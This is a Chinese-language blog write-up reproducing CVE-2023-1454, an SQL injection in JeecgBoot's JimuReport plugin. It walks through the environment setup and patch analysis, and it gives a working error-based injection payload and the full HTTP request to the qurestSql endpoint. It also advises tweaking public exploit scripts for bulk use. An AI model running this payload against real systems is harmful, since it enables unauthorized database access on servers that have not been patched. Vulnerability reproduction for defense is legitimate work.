CVE-2023-1454注入分析复现

简介

JeecgBoot的代码生成器是一种可以帮助开发者快速构建企业级应用的工具,它可以通过一键生成前后端代码,无需写任何代码,让开发者更多关注业务逻辑。

影响版本

Jeecg-Boot<=3.5.1

环境搭建

idea+

后端源码:

https://github.com/jeecgboot/jeecg-boot/archive/refs/tags/v3.5.0.zip

前端源码:

https://github.com/jeecgboot/jeecgboot-vue3/archive/refs/tags/v3.5.0.zip

安装npm,安装nodejs

https://nodejs.org/dist/v18.16.1/node-v18.16.1-x64.msi

安装yarn

复制代码
npm install -g yarn

下载依赖

复制代码
yarn install
yarn run serve  //起服务

由于是前后端分离,需要数据库导入表,使用navicat直接导入即可

后端服务端搭建,使用idea搭建导入项目,修改数据库配置

配置server端npm服务

配置好之后直接启动,访问

http://localhost:3100/login

搭建成功

漏洞复现

前后端分离,后端端口8080 ,Payload:

复制代码
{"apiSelectId":"1316997232402231298","id":"1' or '%1%' like (updatexml(0x3a,concat(1,(select current_user)),1)) or '%%' like '"}

POST /jeecg-boot/jmreport/qurestSql HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Content-Type: application/json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Length: 128

{"apiSelectId":"1316997232402231298","id":"1' or '%1%' like (updatexml(0x3a,concat(1,(select current_user)),1)) or '%%' like '"}

分析

漏洞产生点位于积木报表插件内,查看更新的3.5.1的版本更新

更改了72处的文件,其中需要注意db/其他数据库/jeecgboot-sqlserver2019.sql中重写了数据插入的方法

jeecg-boot-base-core/src/main/java/org/jeecg/common/util/SqlInjectionUtil.java中增加了对sql语句的正则

这个修复是针对于后端的SQL注入,/sys/duplicate/check

目前最新更新的3.5.1版本似乎依旧没有针对积木报表注入点儿的加固措施,修复时更换jar包

目前积木官方的jar包已升级。

关注积木5月份的升级日志

http://jimureport.com/doc/log

小结

github上有师傅们的脚本,但是如果要批量使用的话建议在修改一下response的内容,仅仅只有操作失败的报错的话会存在大批量的报错。

所有自定义的if判断的回显都建议修改一下,如有错误欢迎指出。

参考连接

http://jimureport.com/doc/log

https://github.com/Sweelg/CVE-2023-1454-Jeecg-Boot-qurestSql-SQLvuln

https://github.com/padbergpete47/CVE-2023-1454

相关推荐
iOS技术狂热者18 分钟前
wireshak抓手机包 wifi手机抓包工具
websocket·网络协议·tcp/ip·http·网络安全·https·udp
christine-rr2 小时前
密码学基础——DES算法
安全·网络安全·密码学·密码
写代码的小王吧5 小时前
【安全】Java幂等性校验解决重复点击(6种实现方式)
java·linux·开发语言·安全·web安全·网络安全·音视频
半路_出家ren6 小时前
VRRP(虚拟路由器冗余协议)、虚拟路由器、master路由器、backup路由器
网络·网络安全·路由器·网络设备·vrrp·master路由器·backup路由器
vortex57 小时前
Bash中因数值比较引发的提权漏洞:数组注入与任意命令执行
linux·开发语言·安全·网络安全·渗透测试·bash
一口一个橘子8 小时前
[ctfshow web入门] web5
web安全·网络安全
木cooc11 小时前
[WUSTCTF2020]CV Maker1
网络安全
炫彩@之星11 小时前
mysql-getshell的几种方法
mysql·网络安全·渗透测试·getshell
写代码的小王吧13 小时前
【网络安全】安全的网络设计
网络·网络协议·tcp/ip·安全·web安全·网络安全·docker
炫彩@之星14 小时前
mysql数据库中getshell的方式总结
mysql·网络安全·渗透测试·getshell